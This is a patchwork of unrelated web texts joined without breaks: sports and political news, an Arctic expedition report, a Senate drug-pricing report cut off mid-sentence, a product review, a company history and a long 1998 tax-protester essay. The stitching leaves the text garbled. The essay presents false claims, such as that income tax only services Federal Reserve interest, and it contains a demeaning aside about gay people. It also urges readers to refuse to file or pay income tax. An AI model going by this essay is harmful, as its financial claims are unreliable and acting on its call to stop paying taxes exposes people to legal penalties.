Birthplace: Teguigalpa, Hondurasby Pat Loeb
PHILADELPHIA (CBS) — Democratic presidential candidate Hillary Clinton is expected to pick up an important endorsement Tuesday morning in New Hampshire: Her fiercest primary rival, Bernie Sanders.
But will that persuade Sanders voters to join her camp?
“I’m supporting Hillary Clinton because of where I live and where I live is in the real world,” said Lou Agre, a proud and dedicated Bernie Sanders delegate.
The 21st ward leader says, he will be an enthusiastic Clinton voter.
“The two scariest words I can think of right now are ‘President Trump,’ so I think it’s important that we set all the differences aside, look at what we all agree on and go forward in November,” he said.
Agre does not buy into complaints that Sanders was robbed, or that the system was rigged, though he understands why some Sanders voters think so.
But Agre, in fact, thinks Sanders won in important ways.
“Bernie Sanders has moved the discussion and thank God for that. That’s what his purpose was,” said Agre.On paper, the Montreal Canadiens have no business being where they are, with an invitation to the Stanley Cup Playoffs already in hand with 11 days remaining in the NHL regular season.
The Canadiens have a negative goal differential at 5-on-5, their possession numbers as a team are in the bottom half of the League, their power play is in the middle of the pack, they have yet to find consistent pairings on defense and they give up far too many shots on goal.
Yet here they sit, staring at a likely first-round matchup with the Tampa Bay Lightning and with a comfortable lead on the teams fighting to grab the two Eastern Conference wild-card spots.
How can that be, Michel Therrien?
"We’re a group that works hard," the Canadiens coach said Tuesday after his team clinched its spot despite losing 3-1 to the Lightning. "Those guys work hard. They play within a structure."
Therrien then paused, thinking about his answer before hitting the nail squarely on its head.
"Obviously with a goaltender like Carey Price," Therrien said, "it's always a big plus."
Price is indeed the primary reason the Canadiens are where they are, with Lightning coach Jon Cooper calling him probably "the premiere goalie in the League" prior to the game Tuesday.
While Price is not the lone explanation for why the Canadiens made the playoffs, he leads the list of five reasons why that came to pass.
1. An elite goalie
Carey Price Goalie - MTL RECORD: 32-19-5
GAA: 2.36 | SVP: 0.925
If anyone needed proof of just how important Price is to the Canadiens, it came when he was injured at the 2014 Sochi Olympics while backstopping Canada to the gold medal.
Any team that loses its starting goalie will struggle, but in the eight games Price missed with a lower-body injury he aggravated at the Olympics, the Canadiens did not win a single game in regulation in going 3-4-1. Montreal allowed 28 goals in those eight games, an average of 3.5 per game.
Price's absence showed to what extent he is able to mask a lot of the Canadiens' deficiencies. Since his return, Montreal has won eight of 10 games and allowed 22 goals in that span, with Price showing his value at the most critical times to give his team a chance to win.
A perfect example came Tuesday against the Lightning, when Price made a number of highlight-reel stops to keep the game tied before allowing the game-winning goal to Tyler Johnson on a shorthanded breakaway at 12:41 of the third period.
"I believe we didn't have a good game," Therrien said, "but Carey Price gave us a chance to stick in the game."
It's a statement that's been true on countless occasions this season.
2. A meaningless goal that meant a lot
When Lars Eller jumped on a Robin Lehner rebound to score at 16:38 of the third period of a game against the Ottawa Senators on March 15, it snapped a 24-game goal drought for the struggling Canadiens forward.
He reacted as if his cat had just died.
The goal cut the Senators' lead in the game to 4-2, and Eller saw no reason to celebrate.
"It was nice to score, but there were other things that happened throughout that game," Eller said. "I was on for four goals [against]. At that point, making it 4-2 with a couple of minutes to go, a win or even a tie still seemed really far away. So I didn't feel like there was a lot to be happy about.
"I was still minus-3 and it didn't look like we were going to win or even tie it, so it didn't seem natural to be overjoyed at that point."
As it turns out, that goal was the start of a historic comeback, one where David Desharnais scored the tying goal with 0.3 seconds to play in regulation and Francis Bouillon scored the winner at 1:26 of overtime.
"What I'm hoping for," Therrien said after the game, "is that can change a season, those big games like that."
It did.
A loss to the Senators that night would have been Montreal's fourth in a row in regulation, but instead it turned into the start of a run of eight wins in nine games before losing to the Lightning on Tuesday.
That hot stretch pushed the Canadiens past the pack of teams battling for the wild card into one of the guaranteed playoff spots in the Atlantic Division, and it began thanks to what appeared to be a meaningless goal by Eller.
"It felt good and it also felt good to help the team start that turnaround," Eller said. "The way it ended, that was just amazing."
3. Winning half of the special teams battle
The Canadiens traditionally have had one of the NHL's top power plays, finishing top-10 in the League in power-play percentage in six of the previous eight seasons, including fifth last season.
The Canadiens were 16th this season prior to games Wednesday with a 17.9-percent success rate, but the Montreal power play has been in a rut in the past 35 games, converting at a 14.0-percent clip.
Montreal's inefficiency on the power play has been compensated by a tremendous penalty kill, one that ranks third in the NHL at 85.7 percent.
A big part of that is Price. His.804 save percentage on opposing power plays last season was the worst in the NHL among starting goaltenders, but Price has improved that number to.902 this season, second among NHL goalies who have faced at least 200 shots shorthanded.
But the Canadiens also have Tomas Plekanec, one of the League's top penalty-killing forwards, and a defense corps that blocks shots and clears rebounds.
It's allowed the Canadiens to be a positive on the special-teams ledger with a combined percentage above 100.
4. A potent top line
Canadiens general manager Marc Bergevin pulled off what may have been the coup of the NHL Trade Deadline when he acquired forward Thomas Vanek from the New York Islanders in exchange for prospect Sebastian Collberg and a 2014 second-round draft pick.
Therrien put Vanek at right wing, a position he hardly has played as a professional, with David Desharnais and Max Pacioretty during the third period of that March 15 comeback against the Senators.
To that point Vanek had one assist in four games with the Canadiens. Since then he has six goals and four assists in nine games.
The line combined in those nine games has 14 goals and 15 assists, giving Montreal's opponents something to worry about and creating a trickle-down effect that allows the Canadiens' other forward lines to face lesser competition.
"We were definitely a strong team, but I think we lacked some offensive punch at certain times," Pacioretty said. "Before that Ottawa game we had been struggling to score. Bringing a guy like him, he brings so much offense. It doesn't only affect the people who are playing with him like myself. I think it causes other teams to focus on him a little bit more and it might help out the other lines as well. Adding an offensive guy like that, I think it helps out everyone on the team."
5. Dynamic duo on defense
Every general manager in the NHL talks about the need to add puck-moving defensemen, a rare, coveted commodity.
P.K. Subban Defense - MTL GOALS: 10 | ASST: 43 | PTS: 53
SOG: 199 | +/-: 0
The Canadiens have two of the best in the League on the same team.
Andrei Markov and P.K. Subban have the ability to take control of games, each in his own way.
Markov can slow the game down to his speed, using his vision and guile to make the right pass more often than not and possessing an uncanny ability to hold the puck in at the opposing blue line, extending shifts in the offensive zone.
Subban can electrify a crowd with his stickhandling and is perhaps the best defenseman in the League at breaking a team's forecheck, using his exceptional skating ability to beat the first man in and send the Canadiens the other way.
Subban was fourth in the NHL in scoring among defensemen with 53 points prior to games Wednesday and Markov was tied for 15th with 42 points. No other Eastern Conference team had two defensemen in the top-20, and the only other teams in the League were the Chicago Blackhawks (Duncan Keith and Brent Seabrook) and St. Louis Blues (Alex Pietrangelo and Kevin Shattenkirk), two of the top teams in the NHL.Pen Hadow, the British explorer, is today due to start a sailing expedition across the Arctic Ocean to highlight the effects of climate change, including an attempt to reach the North Pole.
The voyage will see Hadow’s Arctic Mission expedition, which will involve two yachts, traverse regions of open water that were once permanently blocked by pack ice.
This weekend, however, scientists said satellite images suggested the North Pole would remain inaccessible except by an icebreaker.
This summer has already seen the Arctic sea ice reach its fifth-lowest recorded area in July, falling to 3.2m square miles, about 610,000 square miles below the long-term average. Since then it has declined even further, reaching 2.3m square miles last week.
…
Scientists warned, though, that despite the rapid melting of the ice there was unlikely to be access to the North Pole via open water for some years.US Senate report details price-gouging by pharmaceutical companies
By Zaida Green
6 January 2017
A recently-released US Senate investigation found that four major pharmaceutical companies operated like hedge funds and followed specific business models to monopolize drugs for rare, life-threatening conditions.
The companies—Turing Pharmaceuticals, Retrophin, Valeant Pharmaceuticals International and Rodelis Therapeutics—targeted decades-old, off-patent drugs, monopolized both their production and distribution, and held dying patients and their health care providers hostage as they hiked prices, often overnight, by tenfold or greater. All four companies were headed by veteran hedge fund traders and were run as such.
The investigation by the Senate Special Committee on Aging began in November 2015, encompassing three hearings, numerous interviews, and the review of more than one million pages of documents subpoenaed from the companies. The companies adhered to a basic five-point business model to maximize profits, acquiring the rights to produce these drugs only if they met specific criteria which would guarantee profits.
First, all the drugs had to have only one manufacturer in the US, so that monopoly production could be guaranteed. Second, all the drugs had to be the best available treatment for their condition, so that physicians would be compelled to prescribe them even in the face of massive price-hikes. Third, the drugs had to serve only small, isolated patient populations incapable of organizing effective opposition to the price-gouging.
The companies then manipulated the markets by controlling access to the drugs to prevent competitors from obtaining samples from which they could develop generic drugs, or cornering high-value patients with highly restrictive “patient assistance programs” that would leave competitors only the least attractive patients, the poor and uninsured. The companies confidently hiked the prices of these drugs, raking in net profits in excess of tens or hundreds of millions of dollars in a single year. None of the four companies invested a penny into the further research and development of the drugs they acquired.
In one case, the pharmaceutical company in question monopolized both the best available treatment for a disease and its best alternative treatment. In 2010, Valeant Pharmaceutical acquired both Cuprimine (penicillamine) and Syprine (trientine hydrochloride), the two best available treatments for Wilson disease, a rare genetic disorder—there are 3,000 cases at most in the US—that renders the body unable to process copper. If untreated, |
man who fears brute force has not attained self-knowledge at all."
Since Slavery is Immoral, It is Immoral to be a Slave
"While boasting of our noble deeds, we are careful to conceal the ugly fact that by an iniquitous money system we have nationalized a system of oppression which,though more refined, is not less cruel than the old system of chattel slavery." Horace Greeley - founder of the New York Tribune
Many Americans who pay their federal income tax every year are blithely unaware of what they are supporting. The ABC News segment, "It's Your Money" promotes the common misconception that government is spending tax- payers' money. It is not. The government spends credit loaned to it at interest by the private Federal Reserve banks with your future labors used as collateral. The official U.S. government debt now stands at over five trillion dollars, and personal income tax payments are deposited directly into the Federal Reserve bank as payment on the compounding interest on that debt. In President Ronald Reagan's 1984 report to the Grace Commission he stated, "100% of what is collected is absorbed solely by interest on the Federal Debt and by Federal transfer payments. In other words, all individual income tax revenues are gone before one nickel is spent on the services taxpayers expect from government."
To add to this, the Clinton Administration has committed tens of billions of taxpayer dollars to prop up shaky economies, first in Mexico and then in Asia. In a recent move to bail-out South Korea, the administration contributed from $1.7 to $5 billion in taxpayer funds from the U.S. Treasury's Exchange Stabilization Fund. This is in addition to loans from the U.S. taxpayer-funded IMF. It is reported that the U.S. Treasury is putting the money directly into the hands of the foreign banks that are holding South Korean debt, a sharp departure from the practice of governments dealing directly with each other.
Once again, the U.S. taxpayer is treated to news broadcasts showing how much those poor South Koreans need our help. Wall Street investment banker and Treasury Secretary Robert E. Rubin warned, "We've got 37,000 troops on the ground in South Korea, and we don't want economic chaos when you've got one of the most unpredictable Stalinist regimes on earth with the fourth largest army a few clicks from American forces." Blatant propaganda such as this is meant to excite pity and fear, thereby, reducing public opposition to their own fleecing. No one seems to notice the contradiction to other propoganda which has North Korea starving to death dependent on American food to survive.
South Korea is saddled with $150 billion worth of debt to foreign banks and investors, 60% of which is due within a year. When the value of its currency, the won, fell on the currency exchanges, South Korea was unable to make its debt payments. Foreign banks and Wall Street investors should have "bit the bullet" and renegotiated terms of repayment, but, instead, a "bail-out" was launched that would ensure the money grubbers would make their profits, all at taxpayer expense.
Few Americans realize that they surrender over a third of their wages to a collection agency (IRS) that, in turn, deposits it directly into a private banking consortium (the Federal Reserve). Personal income taxes are applied toward the interest on bank-created credits that were spent by the federal government years ago, often on bail-outs and other schemes that only benefit the banking interests. Our government has been completely usurped by a sinister financial element. Society, at large, is controlled on the one hand by government regulation and taxation, and by economic pressures and the media on the other. These mediums of control are dominated by a few financial wizards who manipulate rivers of wealth behind the scenes.
When the truth of our enslavement is fully grasped, perhaps one can understand why President Andrew Jackson raged against the ambitious bankers of his day. To those seeking to establish a national bank in 1829 he said, "You are a den of vipers and thieves and I intend to rout you out, and by the eternal God, I will rout you out!" In a speech before congress Andrew Jackson declared, "If the people only understood the rank injustice of our money and banking system, there would be a revolution before morning!"
"The powers of financial capitalism had (a) far-reaching aim, nothing less than to create a world system of financial control in private hands able to dominate the political system of each country and the economy of the world as a whole." Prof. Carroll Quigley in Tragedy and Hope.
Free men and women do not support the enslavement and oppression of their fellow citizens. Infamous demonstrations of this oppression were witnessed at Waco and Ruby Ridge, the horrors of which were compounded by government cynicism and cover-up. The list of oppression goes on and on, from our rapidly expanding prison population to the use of military forces in law enforcement. From expanded surveillance and wiretapping authority to massive seizures of private property. Our constitutional republic has quietly evolved into a post-modern police state. The executive branch mocks the Constitution daily, ruling by decree and subverting what is left of congressional authority. The president hobnobs with terrorists and homosexuals while he vilifies the few patriotic citizens who call for a return to constitutional government. One patriot has accurately described the political elite of this country as "psychotic", demonstrating a vast array of "sadistic, brutal, obsessive-compulsive, hypocritical, self-serving, power-hungry, two-faced, duplicitous, sociopathic tendencies." Welcome to the real world!
It is also immoral to support the enslavement of other nations. Little do Americans realize how their own foreign policy establishment and military are used to enslave other nations to the great beast of global finance and control. Americans see their troops abroad as "peacekeepers" handing out food and giving medical treatment to refugees. They see U.S. troops in Bosnia mingling with children at Christmas time or containing Saddam in the Middle East. They see their government spending billions on developing countries and struggling economies. Americans do not see the complex subjugation behind the scenes.
For example, before the U.S. and the IMF would loan South Korea the money it needed to avoid collapse, it had to agree to an "appropriate set of macroeconomic and structural policies", according to Secretary Rubin. Interpreted, this means South Korea must open its economy up to globalization. It will also have to bust the labor unions who will certainly oppose massive layoffs that result from corporate downsizing. "Efficiency" -- the Orwellian watchword of the global sweatshop -- must be increased to ensure foreign investors the kind of profits they desire. The government may no longer protect key industries or restrict the flow of capital. In light of the extortionate demands placed on South Korea by the financial wizards, it makes the sudden financial troubles of the region look highly suspect. Did someone set them up?
Americans see their "peacekeepers" on television and their compassionate politicians offering financial help to struggling countries. They do not see the dapper men in dark suits setting terms for loan repayments, dictating "human resource" policies, defining terms for capital investment or demanding the privatization of public assets. When the U.S. comes to the rescue of any other nation, either militarily or financially, it comes with an offer that few are in a position to turn down. Only history will completely reveal the path of misery and ruin left by the "benevolence" of our financial and political elite.
All Men Must Stand
"I cannot and I will not retract, for it is unsafe for a Christian to speak against his conscience." Dr. Martin Luther (16th Century A.D.) before the German Emperor.
Chief Justice Warren E. Burger wrote that America's Founding Fathers "did not invent all the ideas and ideals" embraced by the Constitution, but that they "drew on the wisdom of the ages to combine the best of the past in a conception of government..." The Protestant Reformation in the 16th century provided a large backdrop for the American Revolution in the 18th century. Martin Luther, the father of the Reformation, boldly defined in medieval times the truths that the Founding Fathers declared to be "self evident" -- the freedom of man to live according to his conscience and to "obey God rather than men" when the commands of both were contrary to each other.
When Luther was put on trial for his seditious and heretical teachings, the national council demanded that he retract. In his reply he stated, "I cannot submit my faith either to the pope or to the councils, because it is clear as the day that they have frequently erred and contradicted each other. Unless therefore I am convinced by the testimony of Scripture or by the clearest reasoning, unless I am persuaded by means of the passages I have quoted, and unless they thus render my conscience bound by the word of God, I cannot and I will not retract, for it is unsafe for a Christian to speak against his conscience. Here I stand, I can do no other; may God help me."
Pope Pius IX recognized these Protestant principles in the American Revolution. In an Encyclical Letter of August 15, 1854, he fumed, "The absurd and erroneous doctrines or ravings in defense of liberty of conscience are a most pestilential error -- a pest, of all others, most to be dreaded in a state." He should know as those "absurd" doctrines brought down the papal world government of the Dark Ages and helped the American colonists deal with another despot.
In medieval times the church possessed civil as well as ecclesiastical power. It could lay taxes as well as hold court, fine, imprison and even execute capital punishment. The intrusion of the church into civil affairs bore a resemblance to our present government's unnatural intrusion into the affairs of the conscience. Instead of a church- dominated state, we now have a socialist state that has usurped the role of defining morality and is every bit as threatening to the liberty of conscience. Evolutionary humanism - the worship of collective human power - is the state's religious surrogate and is taught in the schools, churches and the work place. Instead of corrupt priests and prelates dominating every aspect of public life, society today is dominated by a money cult with its various ranks of political and ideological lackeys. Society's plunge into the amoral abyss has brought a crisis once again.
Martin Luther was a patriotic man who was faced with our moral dilemma. He was a "true son of Rome", a devout Catholic and an ordained priest, and the idea of opposing the established order had never entered his mind. Soon after entering the priesthood, he became angered by the way the church used and manipulated the superstitious multitudes, all for the sake of money and control. He did the unthinkable at that time -- he attacked as fraudulent the power of an "infallible" pope. He exposed the lies of corrupt and self-serving priests. He also taught that man is first accountable to God and that the conscience is sacred ground, to be illuminated and guided by sacred principles and not controlled by the dogmas and decrees of men.
Instead of bringing reform, he brought down on himself the wrath of the church hierarchy and the multitudes who felt their security blanket being stripped away. However, there was a substantial decrease in money flowing into the church treasury. It wasn't long before he was served with a papal edict pronouncing his condemnation. Before publicly burning the pope's edict in the city square he said, "I despise and attack it, as impious, false... I rejoice in having to bear such ills for the best of causes. Already I feel greater liberty in my heart; for at last I know that the pope is antichrist, and that his throne is that of Satan himself." (D'Aubigne, book 6, chapter 9).
There were conservative churchmen of Luther's time that decried the corruption in the church but remained loyal to the system itself. Mr. Alonzo Jones, a Christian writer and statesman of the late 19th century wrote that this class of men believed "the church was 'the ark of God,' 'the ship of Salvation.' The pilot, the captain, and the crew, might all be pirates, and use every motion of the ship only for piratical purposes, and load her to the sinking point with piratical plunder, and keep her ever headed straight toward perdition, yet 'the grand old ship' herself was all right and would come safely to the heavenly port. Therefore, 'cling to the ark,''stand by the old ship,' and you will be safe and will land at last on the heavenly shore.
"...So long as this delusion was systematically inculcated, blindly received, and fondly hugged, of course reformation was impossible. But as soon as there arose men with the courage of conviction and the confidence of truth and spoke out plainly and flatly that the Roman system is not The Church at all in any feature or in any sense, then the Reformation had begun."
Political conservatives of our generation imbibe the same error. It goes something like this: "The New American has long opposed the federal income tax, but it should be eliminated through the legislative process and not civil disobedience." ("Patriot Beware!" by Thomas R. Eddlem 2-17-97). Many conservatives decry the corruption and abuses within this nation's political system, but they still "stand by the old ship", condemning anyone who appears disloyal to it. They point to the system's rich traditions and quote the heroes of yesteryear and they warn of the consequences of disloyalty. "You might go to jail," they say, as though it were an unanswerable moral argument. They remain in good standing with the system itself because they are the greatest bulwark against true reform.
As in Luther's day, the established system of our time has become hopelessly subverted and corrupt. The political process in the U.S. has become a gigantic fraud, a system that uses and manipulates the multitudes while deceiving them into thinking they are the ones in charge. The federal government is dominated by a corrupt political and bureaucratic elite that is carrying out the reconstruction of society, harnessing the masses to the whims of a few financial manipulators. This government, originally chartered to secure God-given rights and the liberty of conscience, has become antagonistic to those principles and, therefore, to its only purpose for existence.
While it may be true that a majority of Americans are happy for things to continue as they are, the majority have no right to trample on the consciences of the few who cannot submit themselves to be slaves. This minority cannot, in good conscience, support a system that enslaves others. This minority cannot knowingly surrender half of their labors to a system that is destroying mankind. They must be true to the Divine ideal of freedom. They must obey God rather than men.
There may be some that believe gun ownership is a protection against government tyranny. Others study the myriad laws in regards to taxes and sovereignty as a remedy for oppression. Some think that if we can restore the U.S. Constitution to its original interpretation, we will all be safe at last. Others prepare for an economic and social collapse by stockpiling food and weapons and learning survival skills. People who do this are afraid and hope to find that safe place where they may live safely and unmolested with their families and property. In seeking to empower themselves in some way, most put their trust in a vain hope.
What Is the Answer?
Aleksandr Solzhenitsyn, writing from experience, described the great test that all men and women must meet in some fashion when living by a pure conscience in a corrupt slave society. He wrote, "So what is the answer? How can you stand your ground when you are weak and sensitive to pain, when people you love are still alive, when you are unprepared? What do you need to make you stronger than the interrogator and the whole trap?
"From the moment you go to prison you must put your cozy past firmly behind you. At the very threshold, you must say to yourself: 'My life is over, a little early to be sure, but there's nothing to be done about it. I shall never return to freedom. I am condemned to die -- now or a little later. But later on, in truth, it will be even harder, and so the sooner the better. I no longer have any property whatsoever. For me those I love have died, and for them I have died. From today on, my body is useless and alien to me. 'Only my spirit and my conscience remain precious and important to me....' Confronted by such a prisoner, the interrogation will tremble.... Only the man who has renounced everything can win that victory." (The Gulag Archipelago, Vol.1, New York Harper Perennial, 1973, 1974, p.130).
There are many who cling to their guns and hate taxes and the government, but are operating out of rebellion instead of conscience. These are tyrants themselves and would not be happy in any society, always suspicious and resentful of civil authority. If there were a breakdown in the current social order, these will be first to declare themselves dictator. Others complain about the corruption in politics but will not do anything that endangers their toys or their little kingdoms, not to mention their lives. Both of these classes melt when the heat comes, and they would do better to learn to be good slaves than worthless complainers.
As citizens, we are obligated to perform certain duties in society. This includes paying taxes and obeying the laws, even the ones we don't like. Without these we would not have a civilization. But when conscience is stirred by higher principles of right and wrong, and there is an irreconcilable conflict between the earthly government and the heavenly, then it is time for men and women of principle to "obey God rather than men." These must refuse obedience to the earthly entities where they have aligned themselves against righteousness and truth. History has always vindicated the few who have made a conscientious stand against tyranny and corruption.
Of the ten to twenty million people who failed to file their federal income tax return last year, it is reasonable to assume that many "failed" deliberately. If any of these deliberate non-filers were acting according to conscience rather than rebellion or self-interest, if they can no longer work to support a corrupt and despotic system without compromising their moral principles, then they must make their stand on those principles rather than endless and flawed legal theories or supposed constitutional guarantees. Regardless of what the law says, they find themselves bound to refuse filing or paying the tax which they believe is the source of power for the beast which grinds the innocent under its oppressive heal. The Supreme Court of the universe, the Court that has the final word on matters of conscience, is the great interpreter of the Word which says, "Render therefore unto Caesar the things which are Caesar's; and unto God the the things that are God's".
Written 01/02/98 Source Material:
• Vultures in Eagles Clothing by Lynne Meredith
• Patriot Beware! by Thomas R. Eddlem The New American 2-17-97
• Letters to the Editor, The New American 3-17-97
• South Korea Bail-out... Washington Times 12-14-97
• World Banks, Governments Rally to Save South Korea ABCNews 12-29-97
• IRS Agent Confesses... Save-A-Patriot Fellowship
• The Great Controversy by E. G. White
Disclaimer: APFN is not responsible for the accuracy of material on 'The Winds'
and does not necessarily endorse the views expressed within their web pages.
This site is in the public domain.I recently came upon a digital camera that had full manual controls and didn't really understand what any of the functions did. I was pointed to this book as a beginners guide to photography. The book seems to make two assumptions : That 1) You don't know a lot about photography but 2) You know how to use your camera. With Camera Manual and book in hand I went through the book and began to understand how exposure works on a camera and roles ISO, Aperture, and Shutter Speed play. Some of the fanciest pictures became a lot simpler as he broke down how to produce such images.
If you're new to photography this book is a good place to start. The topics range from the very basics of what your camera does to capture an image to how to use your camera, to more situational photography (landscapes at sunset, large landscapes, nature scenes, etc). I'm not even a competent photographer yet but my pictures are starting to get better. I still find myself coming back to the book often to take a look and reference what is in it.
For those who have picked up a DSLR and don't have any idea how to use it - the contents of this book do apply to you as well. It's not 30 pages of how to load and select film, it really is mostly about how to correct expose a picture. It touches on composition mildly, but isn't a book about that. If you already know the roles of ISO, Aperture, and Shutterspeed and are looking for a guidebook about how to take more situational shots, this probably is not for you.
The book construction itself is solid. It's not flimsy paper but not stiff either. Glossy pages like you might see in a photography art book.
You might also get a chuckle out of the several somewhat shameless references to his 'beautiful' wife the author intersperses at various times throughout the book.About Haddad's
It all started on July 29th, 1954 in Pleasant Hills, Pennsylvania. With the help of his father in law, Dave Sr. and his wife, Virginia, opened Haddad’s Amoco Service Station. Dave expanded the small “mom & pop” business to include towing and eventually added a carwash. Dave’s son, David, was enlisted to help around the station at the age of twelve. David began his career at Haddad’s by painting red logs and pumping fuel for customers. When David was old enough to obtain his driver’s license, Dave Sr. taught David to drive on a manual transmission tow truck that didn’t even have power steering. Eventually, David attended and graduated from the Indiana University of Pennsylvania. Following graduation, David began to assist his father in running the family business.
In the spring of 1982, a Los Angeles Transportation Coordinator came to Haddad’s in order to rent a pickup truck in preparation for the film, “Flashdance.” He offered to install a hitch on the truck for free so that he could pull the production trailers around. Initially, David declined to rent the truck. After two days of negotiation between David and the Transportation Coordinator, Haddad’s agreed to rent the truck and allowed the hitch to be installed. Following the deal, an idea struck young David. He saw that this could be the company’s opportunity to enter into a whole new field: production rentals. What was once a simple service station and tow garage was going to evolve into something much bigger.
In the beginning of Haddad’s new endeavor, movie rentals occurred sporadically along the East Coast. In 1988, Haddad’s purchased three cast trailers and a hair & makeup trailer from a Los Angeles production equipment vendor. Using the new additions to the fleet, Haddad’s rented equipment to the movie production, “Dead Poets Society,” thus officially beginning Haddad’s involvement as an equipment vendor in the film industry.
To this day, Haddad’s is still headquartered in the building where it all began despite the fact that it has branched out and built fleet hubs in New York, Michigan, Georgia, and New Jersey. David’s company has now rented to over three thousand movie and television productions in the United States. Haddad’s rents worldwide and is regarded for their impressive service and outstanding equipment quality. The “Can-Do” attitude put forward by all Haddad’s employees has led to service and performance unsurpassed in the industry and unmatched by competitors. Haddad’s equipment has become a staple in the film production industry. David is passionate and immensely interested in each and every production his company is involved in no matter how small or large. The once small company continues to grow with no sign of slowing down, yet prides itself on continuing to offer the same high quality service it always has. As we say here at Haddad’s, "You’re only as good as your vendor!"If this is a joke, we sure as Hell aren't laughing.
This stinks of the typical National Media disrespect that has surrounded our beloved Bears for quite some time now.
Chicago Bears Pro Bowl running back Matt Forte was kept off the 2013 All Pro Team, as voted on by the AP. If you even care, here's the full team. Here's the text that accompanied the list.
The Associated Press announced their starters and second team for the All-Pro team Friday, as determined by 50 AP voters. These are the designations that are given extra weight when Hall of Fame voting comes up. It's the best historical indication of what players truly dominated their positions.
I'd like to know which of the 50 Jackwaggons voted for Green Bay Packers rookie back Eddie Lacy over Chicago's über talented Matt Forte. You want to talk about dominant, Forte DOMINATED Lacy in just about every possible category, and his exclusion on the All Pro Team renders said team null and void.
Here's the rushing stat lines for Green Bay Packers running back Eddie Lacy and Chicago Bears tailback Matt Forte.
Rushing ATT YDS AVG TD Matt Forte 289 1,339 4.6 9 Eddie Lacy 284 1,178 4.1 11
I suppose the AP voters were blinded by the whopping two more touchdowns that Lacy had over Forte.
Let us peruse the receiving totals for each player.
Receiving REC YDS AVG TD Matt Forte 74 594 8.0 3 Eddie Lacy 35 257 7.3 0
There's the domination the AP voters must have been talking about, only the idiotic voters must not have realized it was Forte that wiped the floor with Lacy.
We'll jump over to the total touches and all purpose yards category, but unless my math is poor, I'm guessing Forte is gonna kick Lacy's ass in this one too.
All Purpose TOUCHES YDS AVG TD Matt Forte 363 1,933 5.3 12 Eddie Lacy 319 1,435 4.5 11
You've gotta be kidding me.
The Superfans rest our case.
We'll leave you with this.
Attention AP voters,
Please turn in your NFL card immediately if you truly believe that Eddie Lacy deserved to be named All Pro over Matt Forte. Then after you turn your card in, you should strip down to your skivvies and jump into Lake Michigan.
Thanks.CounterPAC is something like the first version of Mayday, but with a blunter approach. Funded mostly by Jim Greer, a Silicon Valley entrepreneur, the super PAC has no interest in legislation and cares mainly about eliminating the presence of undisclosed money in elections. In 2014, it picked a House race in West Virginia, where Nick Rahall, the Democratic incumbent, was ousted by Evan Jenkins, a Republican state senator. CounterPAC contacted both candidates, asking if they would sign a pledge calling for groups spending undisclosed money to avoid the race (the catch being that if a candidate signed and, say, a 501c4 group spent money on his behalf, the candidate would also agree to donate a similar amount to charity). To encourage participation, CounterPAC promised to spend money against whichever candidate did not sign, regardless of party.
Neither candidate ever signed the pledge, but they agreed to a public meeting with CounterPAC. When Mr. Rahall did not attend, CounterPAC spent $212,000 against him in the final weeks before the election and counted his defeat as a success. It’s unclear, though, what role CounterPAC played in the election. Multiple people involved in West Virginia politics gave it little or no credit in a race that attracted national attention and $10 million in outside spending.
Mr. Greer gave an additional $300,000 to the super PAC in January, suggesting another try in 2016. But few candidates seem eager to unilaterally disarm or penalize themselves when their political futures are on the line, and it’s debatable whether a pledge is really enforceable by the candidates, or by CounterPAC.
Rather than seeking pledges, another group of challengers is trying to harness small donations from many people to upend the campaign finance system. It, too, will face the question of whether it can have enough of an impact, but it tries to leverage citizen interest in issues before Congress rather than make campaign finance the main issue.
If.then.fund, created by Jonathan Zucker, a campaign finance lawyer, and Joshua Tauberer, (who also created GovTrack.us, a site tracking congressional activity) acts as a conduit, collecting money that will then be given to a candidate based on how current legislators vote. For example, if a donor is interested in a bill about privacy, she can pledge money to a particular lawmaker or race. If she agrees with the incumbent’s vote, the incumbent gets the money. If not, the money goes to a challenger.Arsenal have lost more points from a winning position than any other Premier League team this season
Arsenal boss Arsene Wenger believes no team is currently capable of catching Premier League leaders Chelsea.
The Gunners lost 2-1 at Swansea on Sunday to slip 12 points behind Jose Mourinho's unbeaten side.
Chelsea have won nine of their 11 games this term and have 29 points - four more than second-place Southampton.
"If they keep that up nobody will touch them," Wenger said. "It doesn't look like anybody is capable of challenging them at the moment."
Media playback is not supported on this device Arsenal threw away game - Wenger
The Blues fought back from a goal down to beat Liverpool 2-1 at Anfield on Saturday and Wenger believes they are team full of confidence.
"Look at the season and Chelsea are on course for 105 points. Look at the number of points they have today and if they keep that up nobody will touch them, that's for sure.
"They have had a good start and as long as you don't lose you don't question yourself," the Frenchman said. "Maybe a little bit more extra spirit in the team helps them when it gets tight."
MOTD2 analysis Martin Keown on Arsenal: "Arsenal's downfall was that they were not ready when they lost the ball. You have to prepare for the worst, otherwise you are not going to be ready when you lose possession. That is something you don't have to train at, it is a mindset you go on to the pitch with, and you have to have players who take responsibility at key times." Read more: 'Arsenal pay for criminal defending'
Wenger added that he was disappointed to see his own side ease up after taking the lead at the Liberty Stadium and throw away victory.
The Gunners went ahead through Alexis Sanchez before Gylfi Sigurdsson and substitute Bafetimbi Gomis turned the game around for the Swans.
The defeat caps a poor week for Wenger after a Champions League collapse to draw 3-3 with Anderlecht on Tuesday.
"It's disappointing to throw a game away like we did," said Wenger.
"We were 1-0 up and had to be tight defensively and wait for that second chance. But you have to credit Swansea who didn't give up.
"We eased off at 1-0 and let them back into the game."
Arsenal, who drop to sixth in the table, have lost more points from a winning position than any other Premier League team this season.SANTA CLARA, Calif. -- The arrival of Kyle Shanahan as head coach and John Lynch as general manager has come with a massive rebuild of the San Francisco 49ers' roster. In fact, of the 90 players on the team's current roster, 50 of them have been brought in since Shanahan and Lynch arrived in January.
But the makeover at Levi's Stadium has extended well beyond the composition of the roster.
As part of the process of instilling the culture Lynch and Shanahan seek and embracing the long and storied history of one of the NFL's most accomplished franchises, there have been a number of changes made to the team's locker room.
Most noticeable is the drastically altered locker assignments. Whereas players used to be assigned lockers by position group, now players of every group are sitting next to one another. It might seem like no big deal, but Shanahan views it as an important way for his team to build chemistry from the first player to the 90th.
"I want our team to be close and I don't want just groups to be close," Shanahan said. "You're with your group enough in your position meetings and usually, all day. Each position group's broken up and that gets real tight and then the sides of the ball are broken up. So I think the more you can mix up the locker room and you can have a running back next to a D-Lineman or a corner next to a center, I just think it mixes it up. It forces you to get a little bit out of your comfort zone and I think in the long run it makes your team a little closer."
In addition to the locker shuffle, Shanahan and Lynch have added a few more tweaks to the room. In the small hallway players enter and exit from, there's now a painted mural featuring franchise legends Joe Montana, Ronnie Lott, Patrick Willis, Roger Craig and Steve Young with the words "It won't be easy, but it will be worth it" underneath it.
